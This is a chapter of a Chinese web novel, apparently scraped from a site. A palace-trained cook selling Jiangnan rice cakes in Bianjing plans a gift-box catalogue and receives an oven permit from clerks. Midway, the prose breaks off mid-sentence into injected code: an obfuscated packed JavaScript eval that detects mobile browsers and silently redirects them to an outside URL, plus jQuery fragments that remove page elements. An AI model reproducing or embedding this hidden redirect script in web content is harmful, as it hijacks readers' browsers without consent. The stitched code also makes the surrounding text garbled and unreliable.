汴京接连落了几场雨，好不容易放晴，总算能出门散散心。
祁二姑娘坐在小轿里，轿帘半卷，闲趣望着窗外景致。
自从那天从李记回去，祖母对那生煎馒头的喜爱，着实让人意外。
在几个孙辈眼里，祖母向来是个吃食讲究的老封君，等闲点心并不入口，可那日不过带回去几个，祖母竟佐粥用了大半，剩下的，暮食当茶点用了。
老太太上了春秋，何时这般贪嘴过。
后来表哥又带回去几罐李记腌菜，一家子又赞其清爽开胃。
祁二姑娘自己也尝了，愣是觉得味道不过如此。
于是使人专门去打听了李记店主人的来路。
一听是从宫里出来的，才觉得有几分道理——难怪能合祖母的口味，宫里伺候过贵人的，手上总有些真章。
可再细问下去，又觉得不过如此，这个李氏父母早亡，不过是监河道小官的女儿，凭着遗孤身份入的宫，如今被黜落出来，自己张罗个小食铺，且不说士农工商是最末一等，她又无母族庇护，这样的人能有什么根基？
心情这才没那么郁卒。
这日午后，祁二姑娘闲来无事去吃了酥山，在马行街闲逛，又觉得来都来了，不如再去一趟李记？顺便赏她些生意做也算好心了。
“去榆林巷，李记食铺。”她吩咐轿夫。
可等小轿行至巷口，祁二姑娘却怔住了。
只见巷里竟排着条稀疏长龙，男女老幼皆有，仆妇小厮提着食盒，眼巴巴等在那。
“这是……？”祁二姑娘下了轿，疑惑走近些。
李记门口比往日更加热闹，进出的客人络绎不绝，门口牌子上，除了日常的朝食价目，还新添了几行娟秀小字，写了首颇有趣味的打油诗。
祁二姑娘顺着队伍往前，只见李记门口支起一条长案，案上琳琅满目，摆了数十种糕点，五颜六色，形状各异。
当真如诗所写，红粉绿玉盘中色，江南来的糕团，起的名儿却是文雅贴切。
长案后头，主仆二人正忙得见首不见尾，团娘负责打包、报数、收钱，李怀珠负责推荐。
“阿婆，您牙口好，尝尝这个双酿团？外头是糯米皮子，里头一层赤豆沙，再裹一层黑芝麻，两层馅儿，甜而不腻，最受老人家喜欢！”
“娘子若不知什么味儿好，瞧瞧这玫瑰豆沙团，用花酱豆沙调的馅，仪容养颜，香气清雅。”
“郎君是江南人？那定要试试这雪芽团，用的是今年新茶的嫩芽研粉，清新苦涩，配茶吃最好，解腻。”
“大娘子给孩子买个桃果团吧，里头是捣碎的桃肉，今晨才收的新桃，脆嫩鲜甜，小郎君最爱。”
“……”
各色团子晶莹软糯，或滚着椰丝，或沾着芝麻，或印着精巧花纹，放在竹篦子上，衬着箬叶垫底，鲜亮诱人，后面架上明码标价——除了用料贵的几样，譬如玫瑰的，加了乳酪、奶品的二十文一个，其余一律十五文，一下买四个，小娘子还送一个。
贵是贵，可看着真喜人，叫人能怎么不想尝尝？
几个街坊小孩儿磨了爹娘来买，站在不远处香的直抽鼻子，豆沙的甜、芝麻的香、艾草清新、玫瑰的馥郁……什么味儿都有。
可卖成要排队的盛况，李怀珠是没想到的。
原见前阵子糯米囤了太多，李怀珠便想起了在南京读大学时校门口那家糕团铺子，软糯香甜，翻着花样试练起来。
夹馅的，譬如双酿团，里面是豆沙和黑芝麻馅；玫瑰乳酪团，新下的玫瑰花瓣熬了酱裹着厚乳酪，形如胭脂色麻薯，馨香清雅；豆沙芝麻团，外滚香芝麻，内有丰盈流心，桂花糕、如意糕、三色糕，白绿红三色相间，滋味儿各不相同。
赶时令讨巧的，鲜果子的糯米糍，里面裹着蜜渍的桃粒、蜜瓜。
青团除了之前的经典口味，新增了两个馅，凑足六种口味，成了全家福的名头。
更有夹沙糕，两层糕中间夹着厚厚的豆沙；条头糕，细长一条，裹着细腻豆沙，样子简单，大人孩子都能一口一个。
样子新巧好做，却是个新鲜花样，怕一开始不好卖，李怀珠头几日便开始预热，朝食时，做了些分送熟客品尝，又托孙大娘子、街坊娘子们带了些回去，给邻里打了个样儿。
口碑就这么传开了。
今日正式开卖，牌子一挂，摆出做好的糕团，摊子就忙活开了。
店娘子脑子活络，见人推荐，话也说得趣致，客人们买到心仪糕团的，等不及就在旁边尝起来，还在排队的互相打听哪种好吃，孩子们绕着摊子跑来跑去，盯着颜色鲜艳的团子咿呀……
李记门前热闹非凡，店主人生意兴隆，落在祁二姑娘眼里，却叫人颇不是滋味。
这李娘子似乎并不像她想象中那样，需她舍几个铜板救济……
婢子见她站着不动，“姑娘，咱们还过去吗？排队的人好多。”
祁二姑娘抿了抿唇，还去什么，这和她预想中“高贵矜持的探望”相去也太远，没得自讨不快。
祁二姑娘颇为悻悻，细眉微挑，“突然不想吃了。回府吧。”
还不知辜负“贵人”一片心意的李怀珠还浑然不觉，心思都在摊面上打转儿——宫令各色糕点，她见过、尝过、也亲手做过太多。
似是宫中最寻常的“玉露团”，新年糯米细磨多遍，佐料蒸制成糕，吃的时候淋上酪浆，缀以金箔妆点，入口细腻，几乎不用咀嚼便在舌上化开。
这种糕点样式好看，口感也不错，可到底规格太高，金箔又虚华。
离了宫，也尝过蕊芳斋和阳荣阁的招牌。
最负盛名的“蜜浮酥奈花”，确如其名，酥油雕作层层叠叠的茉莉花形，莹白如玉，冷香袅袅，酥油入口即融，蜂蜜甜润，是极精巧的功夫。
还有阳荣阁的“水晶皂儿”，是用红豆沙裹了透明寒天冻，形如晶莹皂角，瞧着可爱，吃起来却觉得豆沙过于甜厚，寒天冻又过于爽滑，二者并未真正交融，各是各的。
可江南糕团却不同，胜在其味美，好做，又没那么高高在上，比之要接地气些，皮子软滑韧弹，馅料则讲究时令与本色，春天的各色鲜花，夏天的鲜豆沙、薄荷，秋天的桂花、甜栗，市上瓜果皆可入馅。
成本算下来，一枚糕团不过四五文的本钱，卖到店里的价，已是厚利……况且省事啊！早起，和一盆糯米面团打底，能做成不同花色、不同味道的几十种糕团，馅料多是提前备下，或是极易处置的时鲜。
做时，也不需复杂模具，一捻一揉便有了形，且味美价优，自然卖得快。
不过光是这样卖，到1底还是零散。
李怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940793|192112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珠边卖边想，若能将各色糕团制成食单，让人按图索骥，自己搭配礼盒，岂不是更妙？
端午卖粽时那预定之法，已初见成效，若能推广开来也是不错……时人需用点心的契机颇多，四时八节，祭祀祖宗神明时，须有糕点供奉；家中长辈寿辰，走亲访友，贺人乔迁、庆贺添丁，一盒点心也是顺带的事；至于春游、夏游、秋游，文人雅集，仕女踏青，更是少不了。
若是将诸般用途分门别类，配上图画说明，让人一目了然，可以自己挑选花样拼成礼盒，岂不是既方便了客人，又抬高了格调？
再把将册子拓印出来几份，放在店中任人取阅，图文并茂，又她这样口头解释清晰明白。
这画册子的事儿，她倒不愁，从小兴趣班学了多年国画，工笔写意都来得，虽谈不上大家，画些糕团果品却是绰绰有余。
午后，糕团卖得差不多了，李怀珠将剩下的用纱罩盖好，放回屋内阴凉处。
晚间或许还有邻人来买，若是没有，咱家团娘还眼巴巴等着呢，总不会浪费。
收拾停当，净了手，开始拨弄算盘。
今日光是糕团，便卖出去百余个，一个糕团成本不过四五文，却能抵上四个生煎的利润，这便是将近两千钱的收入，还不算早间卖出去的朝食。
正盘算着账目，门帘忽一动，却不是客人，两个公服吏员一前一后走了进来。
走在前头那位面圆短髭，后头跟着个年轻后生。
李怀珠放下手中抹布，迎了上去。
“二位官人暮安，可是要买些糕团？”
年长吏员脸上也带了笑，“店主人不必张罗，我等是开封府左厢公事所下的，今日前来，是为知会掌柜一桩事。”
他侧身示意，年轻吏员便将手中文书递给她。
原是府衙及市易司窑用批文下来了，应允李记开火用窑。
惊喜来得太突然，李怀珠接过文书看毕，敛衽一礼，又致谢，让团娘取来各色糕团，亲自俸上。
“二位官人辛苦跑这一趟，些许自家做的粗陋点心，不成敬意。”
年轻吏员还有些推辞，年长者却已笑着接过，“李娘子果然是玲珑人儿。”
哦，这话怎么说的？
李怀珠抬眸看去。
老吏似是随口闲谈：“说起来，文书能这般快下来，倒也多亏了公事上心。毕竟娘子要用窑做食，前例不多。可巧，前几日在孙大娘子那用饭，孙大娘子帮着问了上峰一句。”
“我们公事是个孝顺的，老夫人和女眷今年浴佛节，在大相国寺用了素斋，说起您的手艺赞不绝口。公事一听是您，这还有什么说的？紧着就催办下来了。”
原来根在这儿！那可真是无心插柳，托了相国寺的福气。
李怀珠心中感念，“原是老夫人和贵府娘子抬爱，改日若得空，定当备几样和美点心，送去府上聊表谢意。”
年长吏员见她如此上道，说话又周全，赞赏之色更浓——这李娘子，手艺好，人灵透，做事还有章法，难怪是从宫里出来的，又把铺子经营得风生水起。
他拱了拱手：“娘子有心了。话已带到，我等便不叨扰了。李娘子生意兴隆！”
“承您吉言，二位官人慢走。”
李怀珠笑着将二人送到门口，想着月中去大相国寺捐些香火钱。